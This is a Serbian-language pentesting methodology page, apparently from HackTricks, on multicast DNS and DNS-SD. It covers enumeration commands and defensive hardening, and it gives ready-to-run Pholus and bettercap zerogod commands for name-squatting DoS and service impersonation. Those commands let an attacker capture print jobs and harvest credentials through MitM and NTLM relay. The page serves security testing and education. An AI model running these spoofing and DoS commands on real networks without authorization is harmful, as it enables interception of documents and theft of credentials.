# 5353/UDP Multicast DNS (mDNS) i DNS-SD {{#include ../banners/hacktricks-training.md}} ## Osnovne informacije Multicast DNS (mDNS) omogućava rezoluciju imena sličnu DNS-u i otkrivanje usluga unutar lokalne veze bez unicast DNS servera. Koristi UDP/5353 i multicast adrese 224.0.0.251 (IPv4) i FF02::FB (IPv6). DNS Service Discovery (DNS-SD, obično korišćen sa mDNS) pruža standardizovani način za enumeraciju i opisivanje usluga putem PTR, SRV i TXT zapisa. ``` PORT STATE SERVICE 5353/udp open zeroconf ``` Ključni detalji protokola koje ćete često koristiti tokom napada: - Imena u .local zoni se rešavaju putem mDNS. - QU (Query Unicast) bit može zahtevati unicast odgovore čak i za multicast pitanja. - Implementacije bi trebale ignorisati pakete koji nisu iz lokalne veze; neki stekovi ih i dalje prihvataju. - Istraživanje/oglašavanje nameće jedinstvena imena hostova/usluga; ometanje ovde stvara DoS/“name squatting” uslove. ## DNS-SD model usluga Usluge se identifikuju kao _._tcp ili _._udp pod .local, npr. _ipp._tcp.local (štampači), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), itd. Otkrijte tipove sa _services._dns-sd._udp.local, zatim rešite otkrivene instance na SRV/TXT/A/AAAA. ## Istraživanje i enumeracija mreže - nmap skeniranje cilja (direktno mDNS na hostu): ```bash nmap -sU -p 5353 --script=dns-service-discovery ``` - nmap broadcast otkrivanje (slušanje segmenta i enumeracija svih DNS-SD tipova/instanci): ```bash sudo nmap --script=broadcast-dns-service-discovery ``` - avahi-browse (Linux): ```bash # Lista tipova usluga avahi-browse -bt _services._dns-sd._udp # Pregled svih usluga i rešavanje na host/port avahi-browse -art ``` - Apple dns-sd (macOS): ```bash # Pregled svih HTTP usluga dns-sd -B _http._tcp # Enumeracija tipova usluga dns-sd -B _services._dns-sd._udp # Rešavanje specifične instance na SRV/TXT dns-sd -L "My Printer" _ipp._tcp local ``` - Snimanje paketa sa tshark: ```bash # Živo snimanje sudo tshark -i -f "udp port 5353" -Y mdns # Samo DNS-SD lista upita za usluge sudo tshark -i -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\"" ``` Savjet: Neki pregledači/WebRTC koriste ephemerne mDNS hostnames za maskiranje lokalnih IP adresa. Ako vidite random-UUID.local kandidate na mreži, rešite ih sa mDNS da pređete na lokalne IP adrese. ## Napadi ### mDNS name probing ometanje (DoS / name squatting) Tokom faze ispitivanja, host proverava jedinstvenost imena. Odgovaranje sa lažnim sukobima prisiljava ga da izabere nova imena ili da ne uspe. Ovo može odložiti ili sprečiti registraciju i otkrivanje usluga. Primer sa Pholus: ```bash # Block new devices from taking names by auto-faking responses sudo python3 pholus3.py -afre -stimeout 1000 ``` ### Service spoofing and impersonation (MitM) Imitirati oglašene DNS-SD usluge (štampače, AirPlay, HTTP, deljenje fajlova) kako biste primorali klijente da se povežu sa vama. Ovo je posebno korisno za: - Zapošljavanje dokumenata imitujući _ipp._tcp ili _printer._tcp. - Mamiti klijente ka HTTP/HTTPS uslugama kako biste prikupili tokene/kolačiće ili isporučili payload-e. - Kombinovati sa NTLM relays tehnikama kada Windows klijenti pregovaraju o autentifikaciji sa imitiranih usluga. Sa bettercap-ovim zerogod modulom (mDNS/DNS-SD spoofer/imitator): ```bash # Start mDNS/DNS-SD discovery sudo bettercap -iface -eval "zerogod.discovery on" # Show all services seen from a host > zerogod.show 192.168.1.42 # Impersonate all services of a target host automatically > zerogod.impersonate 192.168.1.42 # Save IPP print jobs to disk while impersonating a printer > set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/ > zerogod.impersonate 192.168.1.42 # Replay previously captured services > zerogod.save 192.168.1.42 target.yml > zerogod.advertise target.yml ``` Takođe pogledajte generičke LLMNR/NBNS/mDNS/WPAD spoofing i radne tokove za hvatanje/ponovno korišćenje kredencijala: {{#ref}} ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} ### Beleške o nedavnim problemima sa implementacijom (korisno za DoS/persistenciju tokom angažmana) - Avahi reachable-assertion i D-Bus greške (2023) mogu prekinuti avahi-daemon na Linux distribucijama (npr. CVE-2023-38469..38473, CVE-2023-1981), ometajući otkrivanje usluga na ciljnim hostovima do ponovnog pokretanja. - Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) omogućava susednim napadačima da izazovu visoku CPU i isključe AP-ove. Ako naiđete na mDNS gateway između VLAN-ova, budite svesni njegove stabilnosti pod neispravnim ili visokim brzinama mDNS. ## Odbrambene razmatranja i OPSEC - Granice segmenta: Ne rutirajte 224.0.0.251/FF02::FB između bezbednosnih zona osim ako mDNS gateway nije izričito potreban. Ako morate da povežete otkrivanje, preferirajte allowlists i ograničenja brzine. - Windows krajnje tačke/serveri: - Da biste potpuno onemogućili razrešavanje imena putem mDNS, postavite vrednost registra i ponovo pokrenite: ``` HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) ``` - U upravljanim okruženjima, onemogućite ugrađeno pravilo “mDNS (UDP-In)” Windows Defender Firewall-a (barem na domen profilu) kako biste sprečili ulazno mDNS procesiranje dok čuvate funkcionalnost kod kuće/roaming. - Na novijim Windows 11 verzijama/GPO šablonima, koristite politiku “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” i postavite je na Onemogućeno. - Linux (Avahi): - Ograničite objavljivanje kada nije potrebno: postavite `disable-publishing=yes`, i ograničite interfejse sa `allow-interfaces=` / `deny-interfaces=` u `/etc/avahi/avahi-daemon.conf`. - Razmotrite `check-response-ttl=yes` i izbegavajte `enable-reflector=yes` osim ako nije strogo potrebno; preferirajte `reflect-filters=` allowlists kada reflektujete. - macOS: Ograničite ulazni mDNS na host/network firewall-ima kada Bonjour otkrivanje nije potrebno za specifične podmreže. - Monitoring: Upozorite na neobične poraste u `_services._dns-sd._udp.local` upitima ili iznenadne promene u SRV/TXT kritičnih usluga; ovo su indikatori spoofinga ili impersonacije usluga. ## Brzi referentni vodič za alate - nmap NSE: `dns-service-discovery` i `broadcast-dns-service-discovery`. - Pholus: aktivno skeniranje, obrnuti mDNS pretraživanja, DoS i spoofing pomoćnici. ```bash # Pasivno osluškivanje (timeout sekunde) sudo python3 pholus3.py -stimeout 60 # Nabrajanje tipova usluga sudo python3 pholus3.py -sscan # Slanje generičkih mDNS zahteva sudo python3 pholus3.py --request # Obrnuto mDNS pretraživanje podmreže sudo python3 pholus3.py -rdns_scanning 192.168.2.0/24 ``` - bettercap zerogod: otkrivanje, čuvanje, oglašavanje i impersonacija mDNS/DNS-SD usluga (vidi primere iznad). ## Spoofing/MitM Najzanimljiviji napad koji možete izvesti preko ove usluge je da izvršite MitM u komunikaciji između klijenta i pravog servera. Možda ćete moći da dobijete osetljive datoteke (MitM komunikacija sa štampačem) ili čak kredencijale (Windows autentifikacija).\ Za više informacija pogledajte: {{#ref}} ../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} ## Reference - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y) - [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html) - [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/) {{#include ../banners/hacktricks-training.md}}